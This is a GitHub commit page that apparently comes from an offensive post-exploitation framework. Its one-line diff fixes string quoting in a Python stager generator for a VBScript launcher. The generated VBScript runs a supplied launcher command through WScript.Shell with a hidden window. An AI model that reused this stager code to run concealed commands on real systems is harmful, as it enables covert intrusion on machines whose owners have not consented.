Merge pull request #702 from athegist/fix-launcher_vbs.py

Fixes vbscript string literal quoting.
websockets-multiuser
Steve Borosh 2017-09-23 18:52:27 -04:00 committed by GitHub
commit 1201232241
1 changed files with 1 additions and 1 deletions

View File

@ -103,7 +103,7 @@ class Stager:
else:
code = "Dim objShell\n"
code += "Set objShell = WScript.CreateObject(\"WScript.Shell\")\n"
code += "command = '"+launcher.replace("'", "\\'")+"'\n"
code += "command = \""+launcher.replace("'", "\\'")+"\"\n"
code += "objShell.Run command,0\n"
code += "Set objShell = Nothing\n"